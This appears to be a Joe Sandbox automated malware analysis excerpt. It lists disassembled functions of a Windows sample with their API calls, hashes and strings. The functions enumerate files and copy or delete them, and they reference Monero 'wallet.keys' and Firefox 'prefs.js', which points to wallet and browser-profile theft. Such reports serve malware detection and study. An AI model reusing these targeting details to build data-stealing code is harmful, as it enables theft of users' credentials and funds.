Associated: 00000000.00000002.2180915682.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181799912.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182346954.0000000001179000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182459052.000000000117A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID: Find$FileHeaplstrcatlstrlen$AllocateCloseFirstNextProcesswsprintf
String ID: %s\%s$%s\*
API String ID: 671575355-2848263008
Opcode ID: 1cb02a570f536ba9b8c1797767cc1ff38cdbe676f6bea0156686ce8a0ff9f4c3
Instruction ID: 5865cbd5aa2e12d5ffcc70868d275d82b466accfebc53d5033165f34c3c32598
Opcode Fuzzy Hash: 1cb02a570f536ba9b8c1797767cc1ff38cdbe676f6bea0156686ce8a0ff9f4c3
Instruction Fuzzy Hash: 395144B16103189BC724EB74DC89FE977BCAB58300F4045C8B649D6190EF75DB858FA1

Function 00B03EA0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00B03EC3
FindFirstFileA.KERNEL32(?,?), ref: 00B03EDA
StrCmpCA.SHLWAPI(?,00B10FAC), ref: 00B03F08
StrCmpCA.SHLWAPI(?,00B10FB0), ref: 00B03F1E
FindNextFileA.KERNEL32(000000FF,?), ref: 00B0406C
FindClose.KERNEL32(000000FF), ref: 00B04081

Strings

%s\%s, xrefs: 00B03EB7

Memory Dump Source

Source File: 00000000.00000002.2180733460.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.2180712635.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000EC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181799912.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182346954.0000000001179000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182459052.000000000117A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: fc960528e743d649a95bd1398aea07a6ced6fe1d3b29b2834a8df06a8eaff3e5
Instruction ID: d4993df969561306adb0c5974a7f2b1601070d21f1d679efb4c7308c06af76f1
Opcode Fuzzy Hash: fc960528e743d649a95bd1398aea07a6ced6fe1d3b29b2834a8df06a8eaff3e5
Instruction Fuzzy Hash: 125148B2900318ABCB24FBB4DC85EEA77BCBB54700F4045C8B75996190EB75DB858FA1

Function 00AFED20 Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 369fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00AFED3E
FindFirstFileA.KERNEL32(?,?), ref: 00AFED55
StrCmpCA.SHLWAPI(?,00B11538), ref: 00AFEDAB
StrCmpCA.SHLWAPI(?,00B1153C), ref: 00AFEDC1
FindNextFileA.KERNEL32(000000FF,?), ref: 00AFF2AE
FindClose.KERNEL32(000000FF), ref: 00AFF2C3

Strings

%s\*.*, xrefs: 00AFED32

Memory Dump Source

Source File: 00000000.00000002.2180733460.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.2180712635.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000EC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181799912.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182346954.0000000001179000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182459052.000000000117A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*.*
API String ID: 180737720-1013718255
Opcode ID: 4f05e0979c00ec5744e139e6c32c630c07b634778b31190e08824a5058017866
Instruction ID: cf0d562d6ab7da8edef527a1f28c19547df6aca493241853bb624951b6774a30
Opcode Fuzzy Hash: 4f05e0979c00ec5744e139e6c32c630c07b634778b31190e08824a5058017866
Instruction Fuzzy Hash: D3E1B2719113189AEB54FB64DD52EEE77B8AF54300F4089D9B50A620D2EF306F8ACF52

Function 00AFF6B0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00B0A740: lstrcpy.KERNEL32(00B10E17,00000000), ref: 00B0A788

Part of subcall function 00B0A920: lstrcpy.KERNEL32(00000000,?), ref: 00B0A972
Part of subcall function 00B0A920: lstrcat.KERNEL32(00000000), ref: 00B0A982

Part of subcall function 00B0A9B0: lstrlen.KERNEL32(?,018A89C8,?,\Monero\wallet.keys,00B10E17), ref: 00B0A9C5
Part of subcall function 00B0A9B0: lstrcpy.KERNEL32(00000000), ref: 00B0AA04
Part of subcall function 00B0A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00B0AA12

Part of subcall function 00B0A8A0: lstrcpy.KERNEL32(?,00B10E17), ref: 00B0A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00B115B8,00B10D96), ref: 00AFF71E
StrCmpCA.SHLWAPI(?,00B115BC), ref: 00AFF76F
StrCmpCA.SHLWAPI(?,00B115C0), ref: 00AFF785
FindNextFileA.KERNEL32(000000FF,?), ref: 00AFFAB1
FindClose.KERNEL32(000000FF), ref: 00AFFAC3

Strings

prefs.js, xrefs: 00AFF812

Memory Dump Source

Source File: 00000000.00000002.2180733460.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.2180712635.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000EC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181799912.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182346954.0000000001179000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182459052.000000000117A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: 961bbeb686454932c3c45bbc8fb4985e574f2ff4a280db3bf121f80b8fcb80be
Instruction ID: e3f52268f0e73c80291a20304bd3445d2bfa50b8ea88e9d1eda2f5745ba178c0
Opcode Fuzzy Hash: 961bbeb686454932c3c45bbc8fb4985e574f2ff4a280db3bf121f80b8fcb80be
Instruction Fuzzy Hash: 35B111719003089BDB24FF64DD95FEE77B9AF94300F4085E8A50A961D1EF319B49CB92

Function 00AF16D0 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00B0A740: lstrcpy.KERNEL32(00B10E17,00000000), ref: 00B0A788

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00B1510C,?,?,?,00B151B4,?,?,00000000,?,00000000), ref: 00AF1923
StrCmpCA.SHLWAPI(?,00B1525C), ref: 00AF1973
StrCmpCA.SHLWAPI(?,00B15304), ref: 00AF1989
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00AF1D40
DeleteFileA.KERNEL32(00000000), ref: 00AF1DCA
FindNextFileA.KERNEL32(000000FF,?), ref: 00AF1E20
FindClose.KERNEL32(000000FF), ref: 00AF1E32

Part of subcall function 00B0A920: lstrcpy.KERNEL32(00000000,?), ref: 00B0A972
Part of subcall function 00B0A920: lstrcat.KERNEL32(00000000), ref: 00B0A982

Part of subcall function 00B0A9B0: lstrlen.KERNEL32(?,018A89C8,?,\Monero\wallet.keys,00B10E17), ref: 00B0A9C5
Part of subcall function 00B0A9B0: lstrcpy.KERNEL32(00000000), ref: 00B0AA04
Part of subcall function 00B0A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00B0AA12

Part of subcall function 00B0A8A0: lstrcpy.KERNEL32(?,00B10E17), ref: 00B0A905

Strings

\*.*, xrefs: 00AF17F1

Memory Dump Source

Source File: 00000000.00000002.2180733460.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.2180712635.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000EC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181799912.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182346954.0000000001179000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182459052.000000000117A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
Opcode ID: 7c79884c8330ef9a4c6845cb779d01812dbf7b3ec3b9a8b04c4fcc93d98e61dd
Instruction ID: b371c142efd5210aa1c8e52002be18a4af91b4eb68216638ef4e7aaf4c2fd72d
Opcode Fuzzy Hash: 7c79884c8330ef9a4c6845cb779d01812dbf7b3ec3b9a8b04c4fcc93d98e61dd
Instruction Fuzzy Hash: 1912DC719103189ADB59FB60DC96EEE77B8AF54300F4089D9B50A620D1EF706F89CFA1

Function 00AFDE10 Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 370fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00B0A740: lstrcpy.KERNEL32(00B10E17,00000000), ref: 00B0A788

Part of subcall function 00B0A9B0: lstrlen.KERNEL32(?,018A89C8,?,\Monero\wallet.keys,00B10E17), ref: 00B0A9C5
Part of subcall function 00B0A9B0: lstrcpy.KERNEL32(00000000), ref: 00B0AA04
Part of subcall function 00B0A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00B0AA12

Part of subcall function 00B0A8A0: lstrcpy.KERNEL32(?,00B10E17), ref: 00B0A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,00B10C2E), ref: 00AFDE5E
StrCmpCA.SHLWAPI(?,00B114C8), ref: 00AFDEAE
StrCmpCA.SHLWAPI(?,00B114CC), ref: 00AFDEC4
FindNextFileA.KERNEL32(000000FF,?), ref: 00AFE3E0
FindClose.KERNEL32(000000FF), ref: 00AFE3F2

Strings

\*.*, xrefs: 00AFDE26

Memory Dump Source

Source File: 00000000.00000002.2180733460.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.2180712635.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000EC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181799912.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182346954.0000000001179000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182459052.000000000117A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID: Findlstrcpy$File$CloseFirstNextlstrcatlstrlen
String ID: \*.*
API String ID: 2325840235-1173974218
Opcode ID: a07f19897e0349313769b74fc3cff7b2d2d12a6b06e6071fbdea407213ae765c
Instruction ID: 3dfcb8fcbab0b36a95b7b188a6b514347b89adfe040998ad6363905dccab1146
Opcode Fuzzy Hash: a07f19897e0349313769b74fc3cff7b2d2d12a6b06e6071fbdea407213ae765c
Instruction Fuzzy Hash: D7F19E719203189ADB55FB64DD95EEE77B8AF24300F8045D9B50A620D1EF306F8ACF62

Function 00AFDA80 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00B0A740: lstrcpy.KERNEL32(00B10E17,00000000), ref: 00B0A788

Part of subcall function 00B0A920: lstrcpy.KERNEL32(00000000,?), ref: 00B0A972
Part of subcall function 00B0A920: lstrcat.KERNEL32(00000000), ref: 00B0A982

Part of subcall function 00B0A9B0: lstrlen.KERNEL32(?,018A89C8,?,\Monero\wallet.keys,00B10E17), ref: 00B0A9C5
Part of subcall function 00B0A9B0: lstrcpy.KERNEL32(00000000), ref: 00B0AA04
Part of subcall function 00B0A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00B0AA12

Part of subcall function 00B0A8A0: lstrcpy.KERNEL32(?,00B10E17), ref: 00B0A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00B114B0,00B10C2A), ref: 00AFDAEB
StrCmpCA.SHLWAPI(?,00B114B4), ref: 00AFDB33
StrCmpCA.SHLWAPI(?,00B114B8), ref: 00AFDB49
FindNextFileA.KERNEL32(000000FF,?), ref: 00AFDDCC
FindClose.KERNEL32(000000FF), ref: 00AFDDDE

Memory Dump Source

Source File: 00000000.00000002.2180733460.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.2180712635.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000EC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181799912.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182346954.0000000001179000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182459052.000000000117A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: 59677464a3cd44ca0d9116e5e415b7904d623d3eb4a2a23cd21a78efdc719ddb
Instruction ID: e1b232459619a5e4c837eed26329763f228070e6e6a27b71898c2f6670243b9b
Opcode Fuzzy Hash: 59677464a3cd44ca0d9116e5e415b7904d623d3eb4a2a23cd21a78efdc719ddb
Instruction Fuzzy Hash: 11913572A0030897CB14FBB4DD56EFD77BDAB94300F408A98F946961D1EE349B49CB92

Function 00EB9D46 Relevance: 11.7, Strings: 8, Instructions: 1694COMMON

Download Yara Rule

Strings

:u#, xrefs: 00EBA030
_u, xrefs: 00EBA658
:]?{, xrefs: 00EBA120
6[], xrefs: 00EBA8A6
{au, xrefs: 00EBA84A
;]?{, xrefs: 00EBA125
), xrefs: 00EBA203
BIdZ, xrefs: 00EBB131

Memory Dump Source

Source File: 00000000.00000002.2180915682.0000000000D4E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.2180712635.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000EC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181799912.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182346954.0000000001179000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182459052.000000000117A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: )$:]?{$:u#$;]?{$BIdZ${au$6[]$_u
API String ID: 0-1961496635
Opcode ID: 0a7fdb78607086a42ff57b10316f80dccb247349f5a00988baf1d2449454c88a
Instruction ID: 127b8985b02d5d0873949775f36c96eeff28237dd8d4d55a39556b73be37f27b
Opcode Fuzzy Hash: 0a7fdb78607086a42ff57b10316f80dccb247349f5a00988baf1d2449454c88a
Instruction Fuzzy Hash: 3DB238F3A082109FE304AE2DEC8567AFBE9EF94720F1A453DE6C4C7744EA3558058697

Function 00EB6774 Relevance: 11.6, Strings: 8, Instructions: 1607COMMON

Download Yara Rule

Strings

$o?S, xrefs: 00EB6826
c$~?, xrefs: 00EB6F15
[$0o, xrefs: 00EB72AF
V<w0, xrefs: 00EB6D1D
~, xrefs: 00EB6B0B
p3K, xrefs: 00EB6D49
wt{g, xrefs: 00EB71BE
4<O, xrefs: 00EB6E9A

Memory Dump Source

Source File: 00000000.00000002.2180915682.0000000000D4E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.2180712635.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000EC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181799912.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182346954.0000000001179000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182459052.000000000117A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: ~$$o?S$4<O$V<w0$[$0o$c$~?$p3K$wt{g
API String ID: 0-1811294496
Opcode ID: c91f58355619ce8ef608a7838a1a3c24529d5e6a5a93e5b1dc5e8252942753e9
Instruction ID: 8a3045d97897c1bb81b57b11c335180500696114d19637c831a1295e6d78dda9
Opcode Fuzzy Hash: c91f58355619ce8ef608a7838a1a3c24529d5e6a5a93e5b1dc5e8252942753e9
Instruction Fuzzy Hash: 00B205F3A0C2049FE3046E2DEC8567ABBE5EF94720F1A493DEAC5C7744EA3558048697

Function 00B07B90 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00B0A740: lstrcpy.KERNEL32(00B10E17,00000000), ref: 00B0A788

GetKeyboardLayoutList.USER32(00000000,00000000,00B105AF), ref: 00B07BE1
LocalAlloc.KERNEL32(00000040,?), ref: 00B07BF9
GetKeyboardLayoutList.USER32(?,00000000), ref: 00B07C0D
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00B07C62
LocalFree.KERNEL32(00000000), ref: 00B07D22

Strings

/ , xrefs: 00B07C7F

Memory Dump Source

Source File: 00000000.00000002.2180733460.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.2180712635.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000EC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181799912.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182346954.0000000001179000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182459052.000000000117A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: a332e54496d375f670d3e93069bab158e44db25897119f7fe7087e4e61e4e5ec
Instruction ID: 7b0d6eef04113d08b829c9d1006c996b9ec1aa95deb80d19a4649f33e2112836
Opcode Fuzzy Hash: a332e54496d375f670d3e93069bab158e44db25897119f7fe7087e4e61e4e5ec
Instruction Fuzzy Hash: A2416C71950218ABDB24DB94DC89BEEBBB8FF54700F2045D9E009A22D0DB346F85CFA1

Function 00EB827D Relevance: 10.4, Strings: 7, Instructions: 1667COMMON

Download Yara Rule

Strings

*!~, xrefs: 00EB8CFE
|`e{, xrefs: 00EB8803
sH|\, xrefs: 00EB94AE
sgf', xrefs: 00EB8B71
o'7~, xrefs: 00EB883F
2kc, xrefs: 00EB8EDA
q}<, xrefs: 00EB8396

Memory Dump Source

Source File: 00000000.00000002.2180915682.0000000000D4E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.2180712635.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
